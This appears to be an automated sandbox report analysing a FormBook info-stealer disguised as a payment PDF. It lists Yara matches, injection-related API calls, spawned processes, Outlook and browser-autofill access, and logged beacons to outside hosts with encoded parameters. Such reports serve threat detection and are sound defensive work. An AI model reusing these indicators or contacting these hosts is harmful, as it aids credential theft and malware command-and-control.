Source: global traffic	HTTP traffic detected: GET /aw8o/?5Nag0d=4wyyFbo3wf4GPkojX9lv2Hi85TpF3a9bJFCVb7ujVjad/QnKgAM8Rmx0lfLSMwhbZvHAQ1fpLn066tx6/q5vMcOgf2mjw6QkIA==&OxdTJ=brp0GrP84QCc HTTP/1.1Host: www.sonokmall.infoAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /aw8o/?5Nag0d=1Jf62kTrmMrtvW9nTGcQzL1qxjpfbwlqHSE5+yviuOiwQb8X0elvNWjLUSKlufaHfU8RKiOE6AarqIMWhrvJVzj6gCO1stp4zw==&OxdTJ=brp0GrP84QCc HTTP/1.1Host: www.wolfcapital.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko

Source: unknown	HTTPS traffic detected: 142.250.184.206:443 -> 192.168.11.20:49982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.11.20:49983 version: TLS 1.2

Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe

Code function: 4_2_00405326 LdrInitializeThunk,GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,LdrInitializeThunk,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,LdrInitializeThunk,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,LdrInitializeThunk,ShowWindow,LdrInitializeThunk,ShowWindow,LdrInitializeThunk,SendMessageA,CreatePopupMenu,LdrInitializeThunk,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,LdrInitializeThunk,SetClipboardData,CloseClipboard,

4_2_00405326

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 00000009.00000002.93118623903.0000000002AA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.93119622850.00000000006F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.93121071460.0000000001040000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.88685895832.00000000000E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.93128647059.0000000003000000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.88685552371.00000000000A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.93129712517.0000000003040000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000009.00000002.93118623903.0000000002AA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000A.00000002.93119622850.00000000006F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000008.00000002.93121071460.0000000001040000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.88685895832.00000000000E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000009.00000002.93128647059.0000000003000000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.88685552371.00000000000A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000009.00000002.93129712517.0000000003040000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Source: PAYNOW_2023_08_002783pdf.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 00000009.00000002.93118623903.0000000002AA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000A.00000002.93119622850.00000000006F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000008.00000002.93121071460.0000000001040000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.88685895832.00000000000E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000009.00000002.93128647059.0000000003000000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.88685552371.00000000000A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000009.00000002.93129712517.0000000003040000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe

Code function: 4_2_00403312 EntryPoint,SetErrorMode,GetVersion,lstrlenA,LdrInitializeThunk,LdrInitializeThunk,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,LdrInitializeThunk,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,LdrInitializeThunk,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,LdrInitializeThunk,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LdrInitializeThunk,LookupPrivilegeValueA,AdjustTokenPrivileges,LdrInitializeThunk,ExitWindowsEx,LdrInitializeThunk,ExitProcess,

4_2_00403312

Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 4_2_004067BE	4_2_004067BE
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 4_2_6ECB1A98	4_2_6ECB1A98
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3348E310	6_2_3348E310
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3353F330	6_2_3353F330
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33471380	6_2_33471380
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3353124C	6_2_3353124C
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346D2EC	6_2_3346D2EC
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334C717A	6_2_334C717A
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3346F113	6_2_3346F113
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3354010E	6_2_3354010E
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3351D130	6_2_3351D130
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334851C0	6_2_334851C0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3349B1E0	6_2_3349B1E0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3352E076	6_2_3352E076
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3348B0D0	6_2_3348B0D0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_335370F1	6_2_335370F1
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334B508C	6_2_334B508C
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334700A0	6_2_334700A0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33536757	6_2_33536757
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33482760	6_2_33482760
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3348A760	6_2_3348A760
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3352D646	6_2_3352D646
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334A4670	6_2_334A4670
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3349C600	6_2_3349C600
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3351D62C	6_2_3351D62C
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3353A6C0	6_2_3353A6C0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334F36EC	6_2_334F36EC
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3353F6F6	6_2_3353F6F6
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3347C6E0	6_2_3347C6E0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33480680	6_2_33480680
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3354A526	6_2_3354A526
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_335375C6	6_2_335375C6
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3353F5C9	6_2_3353F5C9
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33480445	6_2_33480445
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334ED480	6_2_334ED480
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334BDB19	6_2_334BDB19
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_33480B10	6_2_33480B10
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3353FB2E	6_2_3353FB2E
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334F4BC0	6_2_334F4BC0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3353EA5B	6_2_3353EA5B
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3353CA13	6_2_3353CA13
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_3353FA89	6_2_3353FA89

Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: String function: 334FEF10 appears 45 times
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: String function: 334C7BE4 appears 65 times
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: String function: 334EE692 appears 59 times
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: String function: 3346B910 appears 117 times

Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334B4260 NtSetContextThread,LdrInitializeThunk,	6_2_334B4260
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334B4570 NtSuspendThread,LdrInitializeThunk,	6_2_334B4570
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334B34E0 NtCreateMutant,LdrInitializeThunk,	6_2_334B34E0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334B2B10 NtAllocateVirtualMemory,LdrInitializeThunk,	6_2_334B2B10
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334B2B90 NtFreeVirtualMemory,LdrInitializeThunk,	6_2_334B2B90
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334B29F0 NtReadFile,LdrInitializeThunk,	6_2_334B29F0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334B38D0 NtGetContextThread,LdrInitializeThunk,	6_2_334B38D0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334B2F00 NtCreateFile,LdrInitializeThunk,	6_2_334B2F00
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334B2E50 NtCreateSection,LdrInitializeThunk,	6_2_334B2E50
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334B2E00 NtQueueApcThread,LdrInitializeThunk,	6_2_334B2E00
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334B2ED0 NtResumeThread,LdrInitializeThunk,	6_2_334B2ED0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334B2D10 NtQuerySystemInformation,LdrInitializeThunk,	6_2_334B2D10
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334B2DC0 NtAdjustPrivilegesToken,LdrInitializeThunk,	6_2_334B2DC0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334B2C30 NtMapViewOfSection,LdrInitializeThunk,	6_2_334B2C30
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334B2CF0 NtDelayExecution,LdrInitializeThunk,	6_2_334B2CF0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334B2B00 NtQueryValueKey,	6_2_334B2B00
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334B2B20 NtQueryInformationProcess,	6_2_334B2B20
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334B2BC0 NtQueryInformationToken,	6_2_334B2BC0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334B2BE0 NtQueryVirtualMemory,	6_2_334B2BE0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334B2B80 NtCreateKey,	6_2_334B2B80
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334B2A10 NtWriteFile,	6_2_334B2A10
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334B2AC0 NtEnumerateValueKey,	6_2_334B2AC0
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_2_334B2A80 NtClose,	6_2_334B2A80

Source: PAYNOW_2023_08_002783pdf.exe, 00000004.00000000.88040919360.0000000000437000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: OriginalFilenamebendine ancestry.exe4 vs PAYNOW_2023_08_002783pdf.exe
Source: PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88604276756.00000000333BF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs PAYNOW_2023_08_002783pdf.exe
Source: PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88597514484.0000000033211000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs PAYNOW_2023_08_002783pdf.exe
Source: PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88653713276.00000000031B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameipconfig.exej% vs PAYNOW_2023_08_002783pdf.exe
Source: PAYNOW_2023_08_002783pdf.exe, 00000006.00000002.88738890102.0000000033710000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs PAYNOW_2023_08_002783pdf.exe
Source: PAYNOW_2023_08_002783pdf.exe, 00000006.00000000.88524736608.0000000000437000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: OriginalFilenamebendine ancestry.exe4 vs PAYNOW_2023_08_002783pdf.exe
Source: PAYNOW_2023_08_002783pdf.exe, 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs PAYNOW_2023_08_002783pdf.exe
Source: PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88653553537.000000000321C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameipconfig.exej% vs PAYNOW_2023_08_002783pdf.exe
Source: PAYNOW_2023_08_002783pdf.exe	Binary or memory string: OriginalFilenamebendine ancestry.exe4 vs PAYNOW_2023_08_002783pdf.exe

Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: edgegdi.dll	Jump to behavior

Source: PAYNOW_2023_08_002783pdf.exe

Static PE information: invalid certificate

Source: PAYNOW_2023_08_002783pdf.exe

ReversingLabs: Detection: 44%

Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe

File read: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe

Jump to behavior

Source: PAYNOW_2023_08_002783pdf.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Process created: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe
Source: C:\Program Files (x86)\stTISPAufBYYzAhSmDOuibRKITHPhLnmXtSKhHQTqunZOWljVritEbCaVKRaRdieNBfNGWXCJ\lzttCsgdUUaPRcRtGYKMQEk.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe C:\Windows\SysWOW64\ipconfig.exe
Source: C:\Windows\SysWOW64\ipconfig.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\Firefox.exe
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Process created: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Jump to behavior
Source: C:\Program Files (x86)\stTISPAufBYYzAhSmDOuibRKITHPhLnmXtSKhHQTqunZOWljVritEbCaVKRaRdieNBfNGWXCJ\lzttCsgdUUaPRcRtGYKMQEk.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe C:\Windows\SysWOW64\ipconfig.exe	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\Firefox.exe	Jump to behavior

Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe

4_2_00403312

Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe

File created: C:\Users\user\AppData\Local\Temp\nsg19EC.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/8@21/17

Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe

Code function: 4_2_0040216B LdrInitializeThunk,LdrInitializeThunk,CoCreateInstance,MultiByteToWideChar,LdrInitializeThunk,

4_2_0040216B

Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe

Code function: 4_2_004045D7 GetDlgItem,SetWindowTextA,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,LdrInitializeThunk,GetDiskFreeSpaceA,MulDiv,LdrInitializeThunk,SetDlgItemTextA,LdrInitializeThunk,

4_2_004045D7

Source: 1577Z44ZL.9.dr

Binary or memory string: CREATE TABLE "autofill_profile_edge_extended" ( guid VARCHAR PRIMARY KEY, date_of_birth_day VARCHAR, date_of_birth_month VARCHAR, date_of_birth_year VARCHAR, source INTEGER NOT NULL DEFAULT 0, source_id VARCHAR)[;

Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe

File written: C:\Users\user\AppData\Local\Temp\assda.ini

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\ipconfig.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Jump to behavior

Source: PAYNOW_2023_08_002783pdf.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: ipconfig.pdb source: PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88653713276.00000000031B8000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88653553537.000000000321C000.00000004.00000020.00020000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 00000008.00000003.92015960728.0000000000E8B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ipconfig.pdbGCTL source: PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88653713276.00000000031B8000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88653553537.000000000321C000.00000004.00000020.00020000.00000000.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 00000008.00000003.92015960728.0000000000E8B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: mshtml.pdb source: PAYNOW_2023_08_002783pdf.exe, 00000006.00000001.88526412666.0000000000649000.00000020.00000001.01000000.00000007.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: lzttCsgdUUaPRcRtGYKMQEk.exe, 00000008.00000002.93118394470.0000000000A2E000.00000002.00000001.01000000.0000000A.sdmp, lzttCsgdUUaPRcRtGYKMQEk.exe, 0000000A.00000002.93123893619.0000000000A2E000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: wntdll.pdbUGP source: PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88604276756.0000000033292000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88597514484.00000000330EE000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmp, ipconfig.exe, 00000009.00000002.93131220126.0000000003230000.00000040.00001000.00020000.00000000.sdmp, ipconfig.exe, 00000009.00000003.88684710626.0000000002EC1000.00000004.00000020.00020000.00000000.sdmp, ipconfig.exe, 00000009.00000003.88689996474.000000000307F000.00000004.00000020.00020000.00000000.sdmp, ipconfig.exe, 00000009.00000002.93131220126.000000000335D000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: PAYNOW_2023_08_002783pdf.exe, PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88604276756.0000000033292000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000003.88597514484.00000000330EE000.00000004.00000020.00020000.00000000.sdmp, PAYNOW_2023_08_002783pdf.exe, 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmp, ipconfig.exe, 00000009.00000002.93131220126.0000000003230000.00000040.00001000.00020000.00000000.sdmp, ipconfig.exe, 00000009.00000003.88684710626.0000000002EC1000.00000004.00000020.00020000.00000000.sdmp, ipconfig.exe, 00000009.00000003.88689996474.000000000307F000.00000004.00000020.00020000.00000000.sdmp, ipconfig.exe, 00000009.00000002.93131220126.000000000335D000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: mshtml.pdbUGP source: PAYNOW_2023_08_002783pdf.exe, 00000006.00000001.88526412666.0000000000649000.00000020.00000001.01000000.00000007.sdmp
Source:	Binary string: firefox.pdb source: ipconfig.exe, 00000009.00000003.89515432113.0000000007FED000.00000004.00000020.00020000.00000000.sdmp, ipconfig.exe, 00000009.00000003.89462645784.00000000077B1000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000004.00000002.88593086114.00000000059AC000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 4_2_6ECB2F60 push eax; ret	4_2_6ECB2F8E
Source: C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe	Code function: 6_3_000A6248 push cs; ret	6_3_000A6249
